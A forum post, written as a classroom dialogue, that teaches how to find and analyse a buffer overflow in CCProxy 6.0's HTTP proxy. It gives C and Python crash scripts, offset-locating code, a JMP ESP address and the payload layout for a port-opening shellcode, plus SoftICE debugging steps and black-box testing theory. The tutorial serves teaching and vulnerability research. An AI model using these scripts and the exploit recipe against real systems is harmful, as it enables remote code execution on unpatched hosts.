用番茄Lu过…比香蕉好←那是你没领悟到香蕉的正确用法 收藏本站
登陆 / 注册 搜索

阅读: 9.7K   回复: 2

[# 网络安全] 漏洞的发现、分析和利用

小执念 古黑浩劫论坛大牛 2016-1-2 14:53 |显示全部楼层

可遇不可求的事:故乡的云,上古的玉,随手的诗,十九岁的你。

管理员
  12月,平安夜、圣诞节、元旦,接着就是寒假和春节。整个校园充满了一种节日的氛围和思亲的情绪。 “大家圣诞节准备怎么过啊?”老师喜欢在正式上课前聊聊别的,好让大家的注意力慢慢集中起来。
  “我要美美吃上一顿,然后好好睡上一觉! ”玉波鼓鼓嘴说。

  大家都大笑起来。

  “外国人的节有什么好过的,我要好好准备考试,然后回家过春节,与家人团聚! ”古风认真的说道。 “对啊,老师,我们接着有很多门的期末考试呢,这门课……”宇强问道。

  “嗯,我理解大家的意思!这门课需要真正的实践,要亲自编写才行。纸上的考试并不能检查出什么。而且平时大家也很认真,所以这门课就不进行期末考试了!”

  “哦!太好了! ”教室里一阵欢腾。

  “我会在课中布置一点作业,大家在寒假里完成,下学期开学交来,作为考试的成绩。本学期最后两次课, 涉及到一个大家感兴趣的东西——漏洞的发现、分析和利用。”

  “好啊!终于讲到漏洞本身了! ”大家都很高兴。


  “呵呵,不过,我有言在先,难度比较大,也有点麻烦,大家可要仔细和耐心啊!我们先来看一个具体例 子——CCProxy软件的漏洞!”

CCProxy漏洞的分析

  “CCProxy是个代理服务器,支持HTTP、FTP、Telnet等多种服务。当有多台主机,而只有一个公网出口 时,可将CCProxy安装在出口主机上,作为一个代理服务器。其他机器就可通过连接CCProxy代理来访问外网。”

  老师说:“这种结构特别适合小型网络和个人家庭的使用,典型的CCProxy配置如下图。”
漏洞的发现、分析和利用 QQ截图20160102134312.png



CCProxy的安装与设置

  “我们安装一个实际用用吧!安装过程很简单,如同一般软件的安装一样。安装完毕后,启动CCProxy, 其界面如下图。”

漏洞的发现、分析和利用 QQ截图20160102134320.png



  “这个界面真是简单明了啊! ”玉波瞪大了眼睛。

  “是的,设计得很清晰,所有操作一看就知。我们自己设计软件时,也要注意界面的人性化。”老师说道, “如果要对CCProxy进行设置,点击工具栏上的‘设置’按钮,弹出设置对话框,如下图。”

漏洞的发现、分析和利用 QQ截图20160102134332.png


  “所有常用的服务都已经配置好了。我们看,HTTP代理服务采用的是808端口。所以在内部其他机器上, 点击IE菜单的‘工具栏一Internet’选项,在弹出对话框中选择‘连接’选项卡,再点击‘局域网设置’, 就可设置浏览器的代理为安装CCProxy主机的IP,端口为808,如下图。”

漏洞的发现、分析和利用 QQ截图20160102134344.png


  “哦,好爽啊!”

  “嗯,除了 808端口,CCProxy还开放了 1090、2121等端口。CCProxy 6.0版本有多处漏洞,这里我们就分析对808端口请求超长‘GET’字符串时,会引发的缓冲区溢出漏洞。”

漏洞的定位和利用

  “我们用VC写一个程序,往CCProxy的808端口发送超长字符串,其格式如下:”

GET \MMAAAMMAAA (4085 个 A) HTTP/1.0\x0D\x0A\x0D\x0A

  “发送程序4085byte.cpp 比较简单,就是网络通信的客户端程序。给出源代码如下,大家可以再巩固一下socket编程。”

[mw_shl_code=c,true]#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"Ws2_32")
int main()
{
WSADATA ws;
SOCKET s;
int ret;
char buf[5000];
int i;
int nLen;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//建立socket
s=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//连接对方808端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(808);
server.sin_addr.s_addr=inet_addr("192.168.3.151");
//连接!
if (connect(s,(struct sockaddr *)&server,sizeof(server) ) < 0)
{
printf("connect error");
return -1;
}
nLen = 0;
strcpy(buf, "GET /");
nLen += sizeof("GET /")-1;
for(nLen; nLen<4080+5; nLen++)
{
buf[nLen] = 'A';
}
buf[nLen] = '\0';
strcat(buf, " HTTP/1.0\x0D\x0A\x0D\x0A");
nLen += sizeof(" HTTP/1.0\x0D\x0A\x0D\x0A")-1;
//构造字符串后,发送
send(s, buf, nLen , 0);
printf("send OK!");
closesocket(s);
WSACleanup();
return 0;
}[/mw_shl_code]

  “嗯,就是初始化→建Socket→连接→发送! ”宇强总是能看透本质。

  “对!请注意,发送数据的格式一定要保证正确,前导字符是‘GET /',然后是大量的字符‘A’,而结束字符是‘HTTP/1.0\x0D\x0A\x0D\x0A’。这样才能让CCProxy认为是HTTP的请求,从而处理它。“

  “哦!‘\x0D\x0A’代表什么呢? ”古风问道。

  “这是HTTP协议中规定的请求结束标志,具体可以参看RFC文档! ”老师回答道,“我们发送给代理服务 器后,CCProxy发生缓冲区溢出,就会弹出出错对话框,XP下如下图。”

漏洞的发现、分析和利用 QQ截图20160102134354.png


  “哎哟,和Win2000的不一样也,看不到出错时EIP的值! ”玉波嚷道。

  “不,我们也可以看。点击蓝色的字——‘请单击此处’。就可看到如下图的报错框。其中第二排有Offset: 41414141’ 。表示执行 0x41414141,就是 ‘AAAA’ 的 16 进制!”

漏洞的发现、分析和利用 QQ截图20160102134401.png


  “哦,那还是和Win2000下的一样了! ”宇强满意的说,“我们只需改变bf的赋值过程,分别定位千位、 百位、十位和个位就可以了。”

  “是的! ”古风就要去改变程序了。

  “等等,等等!”老师急阻止,“定位我们已经详细的讲过了,这里不是重点。具体的定位程序下来大家参考 CCProxyl.cpp、CCProxy2.cpp、CCProxy3.cpp、CCProxy4.cpp ,它们分别定位千位、 百位、十位和个位。”


  “大家下去可自己练习一下。通过它们,我们可定位出:从4052个A开始的地方就是返回点。当然,验证还是有必要的,我们把数组全部赋为A,而4052开始的4个字节赋为B,构造如下:”

[mw_shl_code=c,true]for(i=0; i<4080; i++,nLen++)
buf[nLen] = 'A';
buf[4047+5] = 'B';
buf[4048+5] = 'B';
buf[4049+5] = 'B';
buf[4050+5] = 'B';[/mw_shl_code]

  “重新启动CCProxy,运行修改过后的测试程序。这次弹出的对话框如下图,果然是42424242覆盖到了返回点。”

漏洞的发现、分析和利用 QQ截图20160102134411.png


  “证明的确是4052的地方覆盖了返回点。有了返回点的位置,写出利用程序简直就是轻车熟路了! ”老师说道。

  “是啊,我们覆盖4052个A,然后是JMP ESP的地址,这个是……是……”玉波挠了挠后脑勺。

  古风一口答道:“是 0x7FFA4512。”

  “对!最后跟上ShellCode,按照下面这个格式就行了。”

  GET /AAAA(4052 个 A)…JMP ESP 地址 SHELLCODE HTTP/1.0

  “嗯!是的。”老师补充道,“但因为覆盖了 4052个字节,所以我们可以把ShellCode放在前面,而在 JMP ESP的地址后放一个JMP BACK的指令,跳回到ShellCode中。格式就像这样:”

GET \ AAAA…AA ShellCode 0x7FFA4512 JMPBACK HTTP/1. 0

  大家都点头称是。

  “4000多个字节,不用实在浪费了,而且加在后面,反而可能会引发异常。好! ShellCode用完成开端口功能的代码。我们构造出利用程序JmpEspShell.cpp 。执行!登陆成功!如下图。”

漏洞的发现、分析和利用 QQ截图20160102134419.png


漏洞的分析

  “Yeah!成功! ”大家都叫了起来,然后纷纷说道,“虽然成功利用过多次,但真的对一个新漏洞利用成功了,还是有点激动的,呵呵!”

  “这很好啊!其实正是这些小小的成就,让你品尝到了努力成功后的喜悦。这样才能触动你的进一步发展, 实现真正的成功。”老师说道。

  “好了,进入我们的重头戏,来分析漏洞的成因吧!”

  “好啊!这下可以看看实际程序中的漏洞是怎样出现的了。”大家高兴的说。

  “首先启动我们的调试利器——SoftICE。”

  “嗯,在jmp esp转换成call ebx的利用方式那里我们使用过,果然很强大! ”古风真是好记性。

  “这位同学记忆力真好!这里我们会进一步深入使用它。启动CCProxy,再重新发送全‘A’的过长数据。 因为会产生异常,所以SoftICE就会捕获异常,自动弹出来。停在了下面这句话:”

001B : 41414141 INVALID

  小知识:
  SoftICE默认情况下是开了异常捕获功能的。即有什么异常发生时,会自动激活SoftICE。我们可使 用指令Fault on和Fault off来打开或关闭异常捕获功能。

  “ 001B : 41414141 INVALID意思是41414141指向的指令非法。”老师解释道。

  “哦!那些指令究竟是什么数据呢? ”宇强进一步问道。

  “在SoftICE下,我们输入code on命令显示机器码,就可以看到对应的地方全是FFFF数据。”

  001B : 41414141 FFFF INVALID

  “哦! ”
 
  “我们再看看上下左右相关的数据吧,输入data命令,就会出现一个数据窗口。然后输入deip,就会在数据窗口中显示出如下的值。”

001B : 41414141 ?? ?? ?? ?? ?? ??
001B : 41414151 ?? ?? ?? ?? ?? ??

   “上下左右都是非法的啊?”

  “是的,因为没有代码加载在这个部分,所以系统默认填充1,就是全F。”老师解释道,“而我们的关键, 就是要找到发生问题的那段程序。”

  “我们看看现在堆栈里面的值,和前面类似,这里用命令d esp,就出现了现在堆栈数据的情况。”

esp = 012A790C
0023:012A790C 41 41 41 41 41 41 41 41-4 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0023:012A791C 41 41 41 41 41 41 41 41-4 41 41 41 41 20 48 54 AAAAAAAAAAAAA HT
0023:012A792C 54 50 2F 31 2E 30 0D 0A TP/1.0

  “原EIP和堆栈都已被我们过长的数据覆盖,我们无法从现今的堆栈中找到问题代码的位置。”

  “是啊!怎么办呢? ”小倩着急的说道。

  “我们先推理一下。现在ESP=012A790C,程序返回后,堆栈指针ESP会指向012A790C;所以应该是某个函数(假设是函数A)执行前把返回地址存在了 012A790C-4或附近中;然后在函数A执行过程中作了无 长度限制的字符串拷贝,使返回地址被覆盖成了我们发送的41414141! ”

  “那个函数A就是有问题的函数;而无长度限制的字符串拷贝就是Strcpy、Strcat—类的操作。”

  “哦,难道我们要猜测哪个函数A在012A790C附近中保存了返回地址? ”宇强说道。

  “非常正确! ”老师特别高兴,“第一种方法:用bpx命令往Strcpy、Strcat等函数入口处设断点,然后返回函数A的空间,看是否会出现覆盖问题。”

  “第二种方法,因为函数A会往012A790C附近写入返回地址,所以我们设置断点,在往012A790C这个地 址写东西时中断下来,看能否找到有问题的函数A。”

  “我们这里用第二种方法。”

  “退出SoftICE,回到Windows下重新启动CCProxy。再进入SoftICE输入addr proxy,表示进入进程空间;然后输入bpmd 012A790C w,表示往012A790C写东西时停下来。”

  大家眼睛都看得直直的,小倩也在边听边记。

  “好,设置完毕后,我们再运行攻击代码,这样,当往012A790C写入的时候,就会被SoftICE中断。”

  “运行过程中,会有好几次中断,但显然都不是保存函数返回地址的操作,我们按F5继续让它执行。终于到了下面这句时,SoftICE被中断弹出。”老师指住下面的指令说。

0040F2A0 : call 0040A410

  “此时ESP=012A790C,即先把返回地址保存在012A790C中,然后跳到0040A410函数内部执行。根据我们的猜测,相信就是这个函数在处理时,返回地址被覆盖了。”

  “函数中究竟是什么东西导致错误了呢?我们跟进去看看吧!按F8动态跟踪进0040A410函数内部。”

  “哎哟!这里全是反汇编的代码,怎么能看懂啊? ”玉波嚷了起来。

  “直接让你看出有问题的地方,的确比较困难。但我们是在动态跟踪啊!当有Push push call时,我们就知道这是在调用函数,然后可以通过d命令来查看参数究竟是什么。”

  “我们实际来使用一遍吧!当执行到0040A5F8: 55 push EBP这句时,我们输入d EBP,发现压入的参数内容是:”

192. 168. 3.150 unknown Web GET /AAAAAAAAAAAAAAAAAAAAAAAAA

  “哦!就是我们发送的字符串多了一些东西!”

  “越来越近了!就要水落石出了吧!”大家议论纷纷。

  “嗯!我们继续。接下来是这句指令:”

0040A5F9:  51 push ECX

  “输入d ecx命令,发现内容是时间信息。为:2004-11-25 16:46:56。”

  “下一句:0040A601: PUSH 0046F110。我们输入d 0046F110命令,发现是[%s] %s格式化串!

  “最后,PUSH edx,再Call —个函数。我们根据分析参数的内容,知道应该是执行下面类似的函数。”

wwspritnf ( edx,
[%s] %s
2004-11-25 16:46:56
192. 168. 3. 150 unknown Web GET /AAAAAAAAAAAAAAAAAAAAAAAAA
)

  “这个拷贝操作是把日期、时间和我们发送的过长字符串,拷贝到EDX指向的内存中;因为没有字符串长度的限制,所以把保存的EIP也覆盖了,从而导致溢出。”

  “哦!原来漏洞真的是这样产生的啊!”同学们说道。

  “我们通过代码来计算一下覆盖点的位置和长度。此时EDX=012A6904,为字符串保存的起始地址;而ESP = 012A790C,为保存的函数返回地址。”

  “两个位置相减,ESP—EDX=012A790C —012A6904 = 0x1008 = 4104。那么,就是要覆盖4104那么长的字符串,才能到达函数返回地址。”

  “刚才,我们定位得到的A的长度是? ”老师问道。

  “4056! ”古风一口报了出来。

  “哇!好记性!大家看看参数,除了我们的A,还包括日期、时间、IP、unknow WEB和GET等字符串,再 加上格式化输出[%s ] %s中的‘[’字符’]’字符和一个空格,大家数数有多长!”

  “嗯,一共是48个字节。”古风很快的数完后说道。

  “对!所以我们覆盖的A正好是:分配空间一其他字符长度= 4104 —48 = 4056! ”

  “哦!原来是这样啊!”

  “我们继续执行。果然,保存的EIP被覆盖;所以,就是这个函数的执行导致了缓冲区溢出,分析成功!”

  小结漏洞分析过程:
1.启动有漏洞程序,启动SoftICE并打开异常捕获开关(默认打开);
2.发送过长的字符串,引发程序的异常,SoftICE弹出;
3.查看此时的ESP的值并记下,假设是AAAA;
4.退回用户空间,重新启动漏洞程序;
5. 按CTRL+D进入SoftICE,用addr命令进入程序空间;再用bpmw AAAA w设置写断点;
6.再次发送过长字符串;
7.SoftICE会在往AAAA地址写操作时弹出来;我们可分析是哪一个函数在该点保存了返回地址;
8.跟入该函数;注意用d命令查看里面调用的各函数参数的值;当发现某个函数有我们发送的过长字符串和‘%s’ 一类的参数时,就仔细分析,多半是该操作的问题!从而分析清楚漏洞产生的原因。

黑盒法探测漏洞和Python脚本

  “哇!好啊! ”大家都情不自禁的鼓起掌来。


  “怎么样?大家有收获吗?”老师向台下问道。


  “有啊,不仅知道了程序有溢出漏洞,溢出点在哪个位置,还知道了为什么会有漏洞。”古风说道,“不仅知其然,还知道了其所以然!”

  “看来实际的软件存在溢出漏洞,还是用了 Strcpy这类没有限制长度的拷贝啊! ”小倩眨了眨眼。

  “嗯,更知道了调试分析漏洞的方法! ”玉波满意的说道。

  “对!这个才是最重要的!”老师笑着说,“这样,大家以后才能独自分析新的漏洞、新的特例。真正在解决问题中提高自己。”

  “但,我感觉漏洞的发现还是有偶然性啊! ”宇强说,“需要正好发这个包时,程序崩溃了,才能发现漏洞,要有好大的运气啊!”

  “虽然的确有一定的偶然性,但只要我们按照一定的方法,遵循一定的规则,就可在尽量短的时间内,尽量多的发现存在的缺陷。”老师说道,“这就是测试的基本原理;而测试,分为黑盒测试和白盒测试两种。”

黑盒测试原理

  “黑盒法测试,是在不知道软件内部结构、程序流程和处理代码的情况下,从软件声称的功能出发,测试检测每个功能是否都能正常使用。”

  “所以黑盒测试也称功能测试,它把程序看作一个不能打开的黑盆子,在完全不考虑程序内部结构和内部特性的情况下,在程序接口进行测试。”

  “我们无法证明一个程序是正确的,哪怕是一个很简单的程序。”老师喝了口水后说道。

  “唔?什么意思?”古风不解的问。

  “因为我们要证明一个程序是正确的,就需要对所有的输入都证明,且得到正确的结果,而这是不可能的!”

  “举个例子,比如,两个整数a, b的相加程序,z = a+b,这个简单吧?我们要验证其正确性,就得把a, b所有的取值都输入计算一遍,看输出的结果是否正确。”

  “在VC里,整型的范围是32位,大概就是-2X10E9~+ 2X10E9,所以计算机能表示的整数的个数大概 是4X10E9个。对a和b两个整数来说,其取值的组合个数就是4X10E9X4X10E9=16X10E18种!”

  “假设我们2秒中验证一个测试数据,那么就需要16X 10E18/2 = 8X 10E18秒= 25X 10E10年!就是200 多亿年的时间!”


  “啊!不算不知道,一算吓一跳! ”玉波瞪大了眼镜。

  “是啊!所以如果我们现在写一个z = a+b的程序并开始证明其正确性,那么就要等到200亿年之后才能宣布。200亿年?宇宙可能都不存在了!”

  “哈哈!是啊! ”大家都笑了起来。 “而且测试不仅要考虑测试合法的输入,还要考虑非法的可能输入。所以理论上,测试情况应该有无穷多 个!只用把这无穷多个都测试完毕了,我们才能证明某个软件是正确的!所以,测试不是为了证明软件是正确的,因为我们无法证明,而是为了尽可能的发现迄今为止没有发现的漏洞!”

  “哦! ”

  “所以,测试是很讲究方法和策略的,以满足用尽可能少的用例和时间,发现尽可能多的漏洞。”


  小知识:
  黑盒测试方法主要有等价类划分、边值分析、因果图、错误推测等。


  等价类划分:把所有可能的输入数据划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例。
  边界值分析:因为大量的错误是发生在输入或输出范围的边界上,而不是发生在输入输出范围的内部,因此,针对各种边界情况设计测试用例,可以查出更多的错误。

  因果图方法:考虑输入条件之间的联系、相互组合等。采用一种适合于描述对于多种条件的组合,相应产生多个动作的形式来考虑设计测试用例,这就是因果图(逻辑模型)。

   “比如,我们要对CCProxy处理HTTP协议的部分进行黑盒测试,就可以对HTTP协议进行分类。对协议的 每一个字段分别测试长度要求的最小值和最大值;或按一定的比例增加测试字符串的长度。这样就争取用 最少的测试用例发现漏洞。”

  “哦! ”

  “而对于黑盒测试来说,首选是使用Python语言

Python 简介

  “Python是种脚本语言。使用简单,但功能很强大,特别是构造测试用字符串时很方便;而且集成了很多现成的应用协议,使用Python测试,很容易发现漏洞。”

  小知识:脚本语言
  脚本语言是类似DOS批处理、UNIX Shell程序的语言。脚本语言不需要每次编译再执行,并且在执行中可很容易地访问正在运行的程序,甚至可动态修改正在运行的程序,适用于快速开发以及完成一些简单任务。 解决问题需要诸如可变长度字符串等数据类型,这样的数据类型在脚本语言中十分容易,而C语言则需要很多工作才能实现。

  哎哟,第一次听说,还什么都不懂,怎么测试啊? ”古风说道。

  “呵呵,大家有了 C语言的基础,使用Python简直是轻松之极。我们先来安装吧!要安装Python和 pyOpenSSL。在Windows环境下,当然安装Windows版本的Python 了,推荐安装Python 2.2.x的版本,因为可以找到For Python 2.2.x的Win32编译版,比较方便。当然我们也可自己编译成for Win版,安装 过程如下图”

漏洞的发现、分析和利用 QQ截图20160102134440.png


  “安装完毕后,我们任意新建一个文件,改成.py后缀名,可以看见为py文件变为了一个蟒蛇图标,如下图,说明Python安装成功。”

漏洞的发现、分析和利用 QQ截图20160102134449.png


  “hoho!图标好可爱啊! ”小倩等几个女生说道。

  “嗯,但其实和蟒蛇无关,命名是由BBC的‘Monty Python’s Flying Circus’节目而得。不过使用起来, 大家会感到它的确比较可爱。”

  “我们点击‘开始一程序’里面的‘Python2.2—Python (command line)’,就可进入Python的解释程序 界面,如下图。”

漏洞的发现、分析和利用 QQ截图20160102134457.png


  “进入解释程序的环境后,解释程序处于交互状态。在这种状态下,系统提示输入下一个命令,这一般是 三个大于符号(即>>>),如果键入文件尾符号——Windows中为‘Control-Z’,就可正常退出解释程序, 如下图。”

漏洞的发现、分析和利用 QQ截图20160102134507.png


  “我们来看一个简单例子,看看怎么使用。”

  “Hello World?”大家都知道一般的入门是写个Hello World程序。

  老师一本正经的说:“不,这个太简单了,我们输出‘Hello, ww0830’吧!”

  “晕!不是一样的啊!”

  “呵呵,你们也可改成自己的名字啊!当看到自己的名字成功打印出来时,就会感到很有成就感,更能鼓励自己! Python在输入提示符‘>>>’下时,是工作在交互模式。输入命令就会马上执行,然后又会等待 输入下一条执行。我们输入print ’hello ww0830! ’,就会马上打出来,如下图。”

漏洞的发现、分析和利用 QQ截图20160102134514.png


  “该交互模式可用于测试短小语句的执行效果;也可测试较大系统中的部分组件。但缺点是不能保存这些指令,如果要反复输入时也比较麻烦。所以,我们可用文本编辑器编辑命令,然后存为py后缀名的文件。 以后就可以一直使用了。”

  “我们打开记事本,输入如下命令:”

[mw_shl_code=python,true]import sys print sys. argv
[/mw_shl_code]

  “然后另存为test.py。这两句指令输出该py文件执行时带的参数。我们在DOS提示符下运行,结果如下图。 ”

漏洞的发现、分析和利用 QQ截图20160102134520.png


  “其实,Python最方便的地方,一个是构造字符串,另一个是本身已经封装好了很多网络协议,我们可直接使用它来探测软件对网络协议的处理,以期望发现漏洞。”

  “好了,介绍就到这里。我们实际用Python来写网络协议的测试用例吧!”

  “啊! Python的网络编程还不是很了解呢! ”古风担心的说道。

  “没关系,我会给出详细解释的。而且有了 C语言编写网络程序的基础,你们会发现用Python的确很可爱。 但关键的,还是要明白思路。”

实例——Python 探测 CCProxy 漏洞

 “我们用Python来对刚才讲解的CCProxy漏洞进行探测和定位。 “刚才使用VC编程进行探测时,构造超长字符串很麻烦,而且又要建Socket,又要连接。但我们用Python 写一个探测CCproxy漏洞的程序则非常简单,只需下面四句。”

[mw_shl_code=python,true]>>> import httplib
>>> conn = httplib.HTTPConnection("192.168.3.151:808")
>>> a = 'A'*4080
>>>conn.request("GET",a)[/mw_shl_code]

  “看,192.168.3.151上的CCProxy崩溃了,定位报错框如下图,就是0x41414141覆盖了函数返回点。 测试完成!”

漏洞的发现、分析和利用 QQ截图20160102134529.png


“啊?这就行了啊? ”大家一愣,然后回过神来嚷道,“用Python写测试程序太容易了吧! “呵呵,是的,如下图。”

漏洞的发现、分析和利用 QQ截图20160102134533.png


  “解释一下上图:
  第一句‘import httplib’是加载http协议包,Python封装了很多协议包,我们直接使用就可以了;
  第二句 ‘conn = httplib.HTTPConnection(〃192.168.3.151:808〃)’ 就是使用协议包里 面的函数,连接目标机192.168.3.151的808端口;
  第三句‘a =’A’*4080’构造4080长度的‘A’赋与 变量a,这是脚本的优势,直接用就可构造指定长度的字符串;
  最后一句是‘conn.request(〃GET〃,a) ’, 即把字符串a作为http的get请求发送过去。”

  “进一步,我们用Python定位千位,只要发送如下字符串就可以了。”

[mw_shl_code=python,true]import httplib
conn = httplib.HTTPConnection("192.168.3.151:808")
s = 'A'*1000+'B'*1000+'C'*1000+'D'*1000+'E'*80
conn.request("GET",s)[/mw_shl_code]

  “报错对话框显示为Offset: 45454545,说明千位是0x45-0x41 = 4。如下图。“

漏洞的发现、分析和利用 QQ截图20160102134541.png


  “依次类推,我们可以定位十位,就是4000个A,然后10个A, 10个B, 10个C……程序如下:”


[mw_shl_code=python,true]import httplib
conn = httplib.HTTPConnection("192.168.3.151:808")
s = 'A'*4000+A'*10+'B'*10+'C'*10+'D'*10+'E'*10+'F'*10+'J'*10+'H'*10
conn.request("GET",s)[/mw_shl_code]

  “报错对话框显示为Offset: 46464646 ,说明十位是0x46-0x41 = 5。”

  “最后定位个位。是在4050个A后,输入A到J十个字符,程序如下:”

[mw_shl_code=python,true]import httplib
conn = httplib.HTTPConnection("192.168.3.151:808")
s = 'A'*4000+A'*50+'ABCDEFGHIJ'
conn.request("GET",s)[/mw_shl_code]

  “这次报错对话框显示为Offset: 47474747,说明个位是0x47-0x41 = 6。返回点轻松定出,就是4000 + 50 + 6 = 4056,定位完成!”

  “有了返回点,攻击利用程序的编写也很简单,把各个字符串段用‘ + ’号连起来就OK 了。我们测试,也成功!”

  “哇!实在是太快、太方便了,就跟方便面一样! ”玉波说道。

  “呵呵,是啊! Python既有脚本语言构造字符串的优势,又有很多现成的网络协议包可以使用,所以黑盒测试是Exploit编写的必备良药!”

   “还有许多使用Python语言探测漏洞的自动工具和方法。”老师说道,“推荐使用fusser.py程序,它可对SMTP、FTP、POP3服务器进行自动检测。”

  老师介绍完后说道,“我给大家布置一个作业,用fusser.py检查warFTP1.6的漏洞,并试着分析一下利用方法和漏洞的成因。Ok?今天就到这里,放学!”


渡年 「出类拔萃」 2018-5-3 07:03 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

顶起顶起顶起!!!
凉冬空巷 「龙战于野」 2018-5-3 14:32 来自手机 |显示全部楼层

这个用户很懒,还没有填写自我介绍呢~

1 .先请大家注意我的头像。看到什么诡异的吗。
2 然后请大家仔细看我的ID,有什么内涵?
3 没看出来就默念我的ID 十遍,然后结合我的头像一起看!!
4 好了,你继续往楼下看吧,我就是来混脸熟的。#y416:
您需要登录后才可以回帖 登录 | 免费注册  

本版积分规则

关于本站|大事记|小黑屋|古黑论 网站统计

GMT+8, 2020-10-25 10:18 , Processed in 0.038138 second(s), 25 queries , Redis On.

© 2015-2020 GuHei.Net

Powered by Discuz! X3.4

快速回复 返回列表